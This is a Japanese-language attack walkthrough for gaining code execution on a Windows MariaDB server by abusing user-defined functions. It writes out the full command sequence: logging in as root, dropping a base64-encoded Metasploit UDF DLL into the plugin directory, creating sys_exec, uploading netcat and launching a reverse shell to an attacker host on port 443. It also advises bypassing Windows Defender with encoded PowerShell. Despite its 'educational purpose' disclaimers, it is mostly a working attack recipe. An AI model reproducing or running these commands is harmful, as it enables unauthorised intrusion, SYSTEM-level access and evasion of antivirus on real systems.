
データベース認証を利用したコード実行
このガイドでは、リモートサーバー上のMariaDBにおけるユーザー定義関数(UDF)の脆弱性を悪用するための詳細な手順を説明します。これらの手順には、脆弱なデータベースシステム上での悪意のあるコードのダウンロードと実行が含まれます。
警告: このドキュメントは教育目的のみです。これらの技術を許可なく使用することは違法であり、非倫理的です。
以下のコマンドを使用してMySQLサーバーに接続します:
mysql -h 192.168.214.129 -u root -pPassw0rd!
実行中のMySQLのバージョンを確認するには、以下を実行します:
select @@version;
現在ログインしているユーザーを確認するには:
select user();
rootユーザーに関連するすべての詳細を取得します:
select * from mysql.user where user='root';
現在のユーザーがどの権限を持っているかを確認します:
show grants;
システムアーキテクチャがUDFに対して脆弱かどうかを確認します:
select @@version_compile_os, @@version_compile_machine;
UDFファイルをアップロードできるプラグインディレクトリを特定します:
select @@plugin_dir;
Metasploitのエクスプロイトディレクトリから32ビットDLLをコピーします:
ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll
udf.dllファイルをbase64形式でエンコードします:
cat udf.dll | base64 | tr -d '\n' > udf.base64
udf.base64からbase64値をコピーし、MySQLサーバーに転送します:
テキストエディタでudf.base64を開きます:
leafpad udf.base64
MariaDBで以下を実行します:
select from_base64("base64 value") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';
必要に応じて、代わりに以下のパスを使用します:
C:\Program Files\MariaDB 11.1\lib\plugin\
MariaDBで以下のコマンドを実行して新しい関数を作成します:
create function sys_exec returns int soname 'udf.dll';
注:
sys_eval、sys_get、do_system、sys_binevalも使用できます。intoではなくintを使用するようにしてください。
UDF関数が正常にインストールされたかどうかを確認します:
select * from mysql.func;
Netcat実行可能ファイルをローカルディレクトリにコピーし、base64でエンコードします:
cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64
テキストエディタでnc.base64を開きます:
leafpad nc.base64
次に、MySQLで以下のように実行します:
select from_base64("base64valueofNc.exe") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';
または、直接以下のコマンドでアップロードすることもできます:
mysql -u root -p -h 192.168.214.129 < nc.base64
ポート443でNetcatリスナーを起動します:
sudo nc -nlvp 443
リモートサーバーでリバースシェルのためにNetcatを実行します:
select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');
注: この手順はWindows Defenderや他のアンチウイルスソフトウェアによってブロックされる可能性があります。PowerShellエンコードコマンド(
powershellbase64)の使用を検討し、Defenderがオフになっていることを確認してください。
Base64エンコードを使用してPowerShellコマンドを実行します:
select sys_exec('powershellbase64');
注意: 多くの場合、NT AUTHORITY\SYSTEM権限を取得できる場合があります。
関数の削除: 作成したUDF関数を削除するには:
drop function sys_get;
ローカルインファイルの確認: ローカル書き込みが有効かどうかを確認します:
show variables like 'local_infile';
INSERT権限を持つユーザーを検索: INSERT権限を持つユーザーを特定します:
use mysql;
select user from user where insert_priv='Y' and Host='%';
免責事項: このドキュメントは教育目的およびセキュリティ研究のみを意図しています。この情報の誤用は刑事責任や厳格な法的罰則を招く可能性があります。ネットワークやシステムで脆弱性をテストする前に、必ず関連当局から許可を得てください。